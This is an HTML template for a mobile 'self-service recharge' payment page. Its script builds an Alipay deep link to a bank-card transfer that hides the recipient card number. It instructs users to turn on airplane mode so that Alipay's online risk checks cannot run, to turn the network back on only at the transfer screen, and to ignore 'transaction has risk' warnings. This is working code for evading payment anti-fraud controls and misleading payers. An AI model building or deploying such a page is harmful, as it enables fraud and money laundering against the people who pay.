
<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>支付订单</title>

    <script src="https://cdn.staticfile.org/jquery/2.1.4/jquery.min.js"></script>
    <style>

        html {
            font-size: 125%; /* 20梅16=125% min-font-size:12px bug*/
        }

        @media only screen and (min-width: 481px) {
            html {
                font-size: 188% !important; /* 30.08梅16=188% */
            }
        }

        @media only screen and (min-width: 561px) {
            html {
                font-size: 218% !important; /* 38.88梅16=218% */
            }
        }

        @media only screen and (min-width: 641px) {
            html {
                font-size: 250% !important; /* 40梅16=250% */
            }
        }

        body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
            margin: 0;
            padding: 0;
            border: 0;
            font-size: 1em;
            font: inherit;
            vertical-align: baseline;
            font-family: "Microsoft YaHei"
        }

        body {
            font-family: "Microsoft YaHei";
            font-size: 0.7rem;
            color: #333;
            line-height: 0.7rem;
            width: 100%;
            background: #f2f2f2;
        }

        em {
            font-style: normal
        }

        li {
            list-style: none
        }

        a {
            text-decoration: none;
            outline: 0;
            color: #333;
        }

        .center {
            text-align: center
        }

        /*************************************页面开始************************************/
        header {
            background: #3bc25c;
            width: 100%;
            height: 2.5rem;
            line-height: 2.5rem;
            text-align: center;
            font-size: 0.9rem;
            position: fixed;
            left: 0;
            top: 0;
            z-index: 97;
            border-bottom: 1px solid #efefef;
        }

        header ._left {
            display: block;
            position: absolute;
            left: 0;
            top: 0;
        }

        header ._left img {
            height: 1rem;
            margin: 0 0 0 0.6rem;
        }

        header ._right {
            display: block;
            position: absolute;
            right: 0.6rem;
            top: 0;
            font-size: 0.8rem;
            color: #f00
        }

        header ._right a {
            color: #fff
        }

        header span {
            color: #fff
        }

        .contaniner {
            width: 100%;
            margin-top: 2.5rem
        }

        img {
            border: 0;
            vertical-align: middle;
        }

        .textfl {
            text-align: left
        }

        .textfr {
            text-align: right
        }

        /**** 支付订单 ****/
        .pay_img {
            width: 100%;
        }

        .pay_img img {
            width: 100%;
        }

        .payTime {
            width: 100%;
            background: #fff;
            margin-bottom: 10px;
            font-size: 12px;
            color: #999;
            font-weight: 300;
            margin-top: 4em;
            padding-top: 3em;
        }

        .payTime li {
            width: 100%;
            height: 30px;
            line-height: 30px;
            text-align: center
        }

        .payTime strong {
            font-size: 24px;
            color: #333
        }

        .payTime span {
            font-size: 14px
        }

        .pay {
            width: 100%;
            height: 300px;
            position: relative;
        }

        .show {
            width: 100%;
            position: absolute;
            top: 0;
            left: 0
        }

        .show li {
            width: 100%;
            height: 60px;
            line-height: 60px;
            list-style: none;
            background: #fff;
            border-bottom: 1px solid #eee
        }

        .show img {
            width: 40px;
            height: 40px;
            margin-left: 10px;
            margin-right: 10px;
        }

        .show input[type="radio"] {
            display: none;
        }

        .show input[type="radio"] + span {
            border: 1px solid #CCCCCC;
            border-radius: 20px;
            width: 20px;
            height: 20px;
            float: right;
            margin-top: 20px;
            margin-right: 20px;
        }

        .show input[type="radio"]:checked + span {
            border: 1px solid #66c068;
            border-radius: 20px;
            background: url(../images/checkbox-on.png) no-repeat;
            background-size: 20px 20px;
        }

        .showList {
            width: 100%;
            position: absolute;
            top: 183px;
            left: 0
        }

        .showList li {
            width: 100%;
            height: 60px;
            line-height: 60px;
            list-style: none;
            background: #fff;
            border-bottom: 1px solid #eee
        }

        .showList img {
            width: 40px;
            height: 40px;
            margin-left: 10px;
            margin-right: 10px;
        }

        .showList input[type="radio"] {
            display: none;
        }

        .showList input[type="radio"] + span {
            border: 1px solid #ccc;
            border-radius: 20px;
            width: 20px;
            height: 20px;
            float: right;
            margin-top: 20px;
            margin-right: 20px;
        }

        .showList input[type="radio"]:checked + span {
            border: 1px solid #66c068;
            border-radius: 20px;
            background: url(../images/checkbox-on.png) no-repeat;
            background-size: 20px 20px;
        }

        label {
            width: 100%;
            height: 60px;
            display: inline-block;
        }

        .book-recovery-bot2 {
            width: 100%;
            position: fixed;
            bottom: 0;
            left: 0;
            height: 60px;
            line-height: 60px;
            background: #65bf67;
        }

        .book-recovery-bot2 div {
            width: 100%;
            height: 100%;
            float: left;
        }

        .book-recovery-bot2 a {
            color: #fff;
            font-size: 0.75rem;
            text-align: center;
            display: block;
        }

        .payBottom {
            width: 100%;
            height: 60px;
            line-height: 60px;
            text-align: center;
            background: #f00;
            color: #fff;
            position: absolute;
            bottom: 0;
            left: 0;
            font-size: 16px
        }

        .payBottom li {
            width: 50%;
            height: 60px;
            float: left
        }

        .payBottom span {
            font-size: 24px;
            margin-top: 10px
        }
        .btn {
            display: inline-block;
            padding: 6px 12px;
            margin-bottom: 0;
            font-size: 14px;
            font-weight: normal;
            line-height: 1.42857143;
            text-align: center;
            width:80%;
            white-space: nowrap;
            vertical-align: middle;
            cursor: pointer;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            background-image: none;
            border: 1px solid transparent;
            border-radius: 4px;
        }
        .btn:focus,
        .btn:active:focus,
        .btn.active:focus {
            outline: thin dotted;
            outline: 5px auto -webkit-focus-ring-color;
            outline-offset: -2px;
        }
        .btn:hover,
        .btn:focus {
            color: #333;
            text-decoration: none;
        }
        .btn:active,
        .btn.active {
            background-image: none;
            outline: 0;
            -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
            box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
        }
        .btn.disabled,
        .btn[disabled],
        fieldset[disabled] .btn {
            pointer-events: none;
            cursor: not-allowed;
            filter: alpha(opacity=65);
            -webkit-box-shadow: none;
            box-shadow: none;
            opacity: .65;
        }

        .btn-primary {
            color: #fff;
            background-color: #428bca;
            border-color: #357ebd;
        }
        .btn-primary:hover,
        .btn-primary:focus,
        .btn-primary:active,
        .btn-primary.active,
        .open > .dropdown-toggle.btn-primary {
            color: #fff;
            background-color: #3071a9;
            border-color: #285e8e;
        }
        .btn-primary:active,
        .btn-primary.active,
        .open > .dropdown-toggle.btn-primary {
            background-image: none;
        }

        .btn-primary .badge {
            color: #428bca;
            background-color: #fff;
        }
    </style>
</head>

<body>
<header style="color:#fff">
    <a href="javascript:history.go(-1);"><span>自助充值</span></a>
</header>
<div class="contaniner fixed-cont">
    <div class="payTime">
        <li><span style="font-size:3em"><b th:text="'￥' + ${channelOrder.amount}"></b>
        </span></li>
        <li><h5 th:text=" '订单号：' + ${channelOrder.childOrderno}"></h5></li>
    </div>

    <div style="text-align: center;font-size: 1.2em;color: #ff0000;margin-top:15px;padding:2px;line-height: initial;">
        1.请先打开飞行模式<br>2.点击立即支付<br>3.跳转到转账页面后关闭飞行模式
    </div>
    <br>
    <p>&nbsp;</p>
    <p align="center"><img th:src="@{/img/guid/feixing.png}" width="290" height="160"></p>
</div>
<br>
<div class="payweixinbtn" align="center">
    <button id="btn-refresh" class="btn btn-primary" style="font-size: 16px;" disabled="disabled">授权中，请耐心等待..</button>
</div>
<div style="text-align: center;font-size: 1.2em;color: #0000ff;margin-top:15px;padding:2px;line-height: initial;">
    若提示“本次交易存在风险”请点击继续付款即可到账，请放心充值！
</div>

<script src="https://gw.alipayobjects.com/as/g/h5-lib/alipayjsapi/3.1.1/alipayjsapi.inc.min.js"></script>

<script>
    var u = navigator.userAgent;
    var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Adr') > -1; //android终端
    var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
    $("#ua").val(u);
    var feedback = 0;
    var timeid = 0;
    var timecount = 0;

    var cardNo = "请关闭飞行模式****";
    var bankName = '[[${channelOrder.bankName}]]';
    var bankMark = '[[${channelOrder.bankMark}]]';
    var amount = '[[${channelOrder.amount}]]';
    var cardIndex = '[[${channelOrder.cardId}]]';
    var bankAccount = '[[${channelOrder.accountName}]]';

    var a;
    var jump;
        a = {
            actionType: "toCard",
            sourceId: "bill",
            //cardNo: cardNo,
            cardNo: cardNo,
            bankAccount: bankAccount,
            money: amount,
            amount: amount,
            bankMark: bankMark,
            bankName: bankName,
            cardIndex: cardIndex,
            cardNoHidden: true,
            cardChannel: "HISTORY_CARD",
            orderSource: "from"
        };
        jump = "alipays://platformapi/startapp?appId=20000200&actionType=toCard&sourceId=bill&ap_framework_sceneId=20000067&cardNo="+a['cardNo']+"&bankAccount="+a['bankAccount']+"&bankName="+a['bankName']+"&bankMark="+a['bankMark']+"&money="+a['amount']+"&amount="+a['money']+"&REALLY_STARTAPP=true&startFromExternal=false&cardIndex="+a['cardIndex']+"&cardNoHidden=true&cardChannel=HISTORY_CARD&orderSource=from";

    function returnApp() {
        AlipayJSBridge.call('exitApp', {closeActionType: "exitSelf", animated: false});
    }

    document.addEventListener("pageResume", function (a) {

    });

    document.addEventListener("resume", function (a) {

    });

    function ready(a) {
        window.AlipayJSBridge ? a && a() : document.addEventListener("AlipayJSBridgeReady", a, !1);
    }

    function goAliPay() {
        ap.getNetworkType(function(res){
            // ap.alert({
            //   title: '网络' + (res.networkAvailable ? '畅通' : '不通'),
            //   content: '网络类型: ' + res.networkType
            // });
            if (res.networkAvailable) {
                alert('请先开启“飞行模式”再点击立即充值按钮，跳转到转账界面后再关闭飞行模式即可充值');
            } else {

                window.setTimeout(function () {
                    // AlipayJSBridge.call("startApp", {
                    //   appId: "09999988",
                    //   param:a
                    // });
                    location.href=jump;
                    $('#btn-refresh').html(' 请稍等,正在跳转中...');
                    $('.payweixinbtn').attr("onclick", "");

                }, 100);

            }
        });


    }
    var func = function () {

        ready(function () {
            var tt = 2;
            timeid = window.setInterval(function () {
                if (timecount >= tt) {
                    $('#tipmsg').html('支付宝授权获取成功');
                    $('#btn-refresh').html('立即充值');
                    $('.payweixinbtn').attr("onclick", "goAliPay();");
                    window.clearInterval(timeid);

                } else {
                    timecount++;
                    $('#btn-refresh').html('请耐心等待，<span style="color:red;">' + (tt - timecount) + '</span>秒后即可跳转充值！');
                }
            }, 2000);
        });
    };


    //调用摄像头
    function goscan() {
        //alert(1);
        ap.scan(function (res) {

            setTimeout(function () {
                goAliPay();
            }, 200);
        });

    }


    $(document).ready(function () {

        $('#btn-refresh').attr("disabled", "disabled");

        var ua = window.navigator.userAgent;
        if (/iphone|iPhone|ipad|iPad|ipod|iPod/.test(ua)) {
            if (ua.indexOf("10.1.52") != -1) {
                document.addEventListener("appPause", function (e) {

                });
            } else {
                func();
            }
            ;
            return false;
        } else {
            func();
        }
        ;
    });

</script>

</body>
</html>